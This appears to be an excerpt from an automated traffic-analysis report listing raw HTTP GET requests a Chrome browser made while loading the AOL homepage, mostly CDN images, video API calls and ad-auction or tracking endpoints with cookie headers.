Source: global traffic	HTTP traffic detected: GET /aa/aol/homepage/stickyFooter/adfree/AdFree_SayGoodbyeV2_1x.jpg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2UNZyOQXhKqnd2JRfT26lg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fcubs_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a3b2659666d9421df5229b37996f2ae554b756a4 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FU5.SOf.2odBFKvqm19ffnQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fdiamondbacks_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=90f04834c13384cadb7ada17976f034e90578534 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FQB5S6jzVrGi9dzZjpgiEiQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Ftigers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=9656c02d98e17ffd3d0b171bf05f51d4062ee06e HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJrvY8puwJEhEpd3DohzHEQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fdodgers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=f234883edd21ac8f45d6b4c4e4a1892c255489be HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fuf3lXihrOQmBeoYkwwc9Aw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Forioles_wbg.png&client=76f99bdb8f78cd44cc0b&signature=458c85b0633896610d7e3d8d0612912638fe16df HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/gql/stream_view?version=v1&namespace=video&id=curated-videos&device=desktop&site=aolhomepage&region=US&lang=en-US&bucketId=aol-acookie-control%2Caol-aa-1&dedup=true&imageSizes=260x144&snippetCount=12&count=120&listAlias=ymedia-alias%3Aplaylist%3Daolcom-homepage HTTP/1.1Host: ncp-gw-video.media.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FuEwpYfoMP9FJDfHYpyaFNA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190402%2F500x500%2Fnationals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=bda6a08982f2e713e93fe0f7e8ba10d39c3c7dc6 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?se=e30&cd=.aol.com&dtstmp=1716503691207&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.aol.com%2F&gpp_as=-1&us_privacy=1YNN&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13
Source: global traffic	HTTP traffic detected: GET /openrtb/pbjs?s=1057757 HTTP/1.1Host: htlb.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /openrtbb/prebidjs HTTP/1.1Host: rtb.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rtb/prebid?cid=8CUBQTSIL HTTP/1.1Host: prebid.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsdS0yOFTkQeyA8vtdrBetw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fastros_wbg.png&client=76f99bdb8f78cd44cc0b&signature=53f3ec69dc0981b98bf4f15eba4afc19210d6c1c HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback.png HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eh/prebid-config/bp-aol.json HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie_sync HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/sports_scores/league_fallback_vertical.svg HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/modules/footer/AppStore_en.svg HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/video/sapi/streams/42b897a6-9771-3329-b351-69a701a77438?ad.pubfamily=aol&srid=1130454662&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=b2be1uzt&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad.pt=home&ad.pct=aol&evp=bcp&hlspre=false&ad.plseq=1&gdpr=false&iabconsent=&usprv=1YNN&gpp=DBAA&gppSid=-1 HTTP/1.1Host: video-api.yql.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /libtrc/yahoo-aol-network/loader.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLxlO0KLuFo3kg6l2bdZZRg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190308%2F500x500%2Froyals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d9246a23914252ddf4d21b2b0e20b22948ac78f2 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F1OsqZ2pFbgTFzAjs10o6yg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20230410%2F500x500%2Fminnesota-twins_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a75a87a3e73c354a94d4b48834cde7d1ee914a2f HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FdS08pSt67NVw1.BHmNGdYg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190328%2F500x500%2Fmets_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=77e9d3cbd4a2236c4ed62b6bed5b225eec89f5a7 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3WQUCMLenaDM.cRUsgzWzQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20191111%2F500x500%2Fcardinals_wbg.png&client=76f99bdb8f78cd44cc0b&signature=67a6d82bcceebe88bd4b4883a6ad9b8de11e7f9a HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /openrtb2/auction HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FRJqdsmvPI2DpLTYPUshLNg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fangels_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6d0bf376e1ce270abc491aed69fa3726a3f97fad HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F163pPLOqMX8w.fiHFyQ0Gg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20220425%2F500x500%2Fguardians_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2d40aedb20b7b30d4fd350ff1c037f44f154fa19 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/metadata/manifest.json HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?se=e30&cd=.aol.com&dtstmp=1716503691207&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.aol.com%2F&gpp_as=-1&us_privacy=1YNN&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1Host: rp.liadm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13; lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13
Source: global traffic	HTTP traffic detected: GET /images/dims?format=jpg&quality=80&thumbnail=600%2C450%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2Ffa82eb60-1940-11ef-9be5-710e168cff37&client=76f99bdb8f78cd44cc0b&signature=4baafb651c71fe01f756a388a6e0e1a6f4b210fc HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2F09a9cc471b1d8644caedce552f0a4524&client=76f99bdb8f78cd44cc0b&signature=f0f7126aab31aca9e0c66417c364c5a6db5544b4 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2Fad2d2080-2313-11ed-9e3d-51ec3c56fd90&client=76f99bdb8f78cd44cc0b&signature=10ddf11bf32700a5835fe3df94d55446705089b2 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=500%2C500%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2Fd52b20a7b736dcb9c14eb87515b8b5b8&client=76f99bdb8f78cd44cc0b&signature=a9e3ab5f8833ee12bf23781da21871c0b80dcd41 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
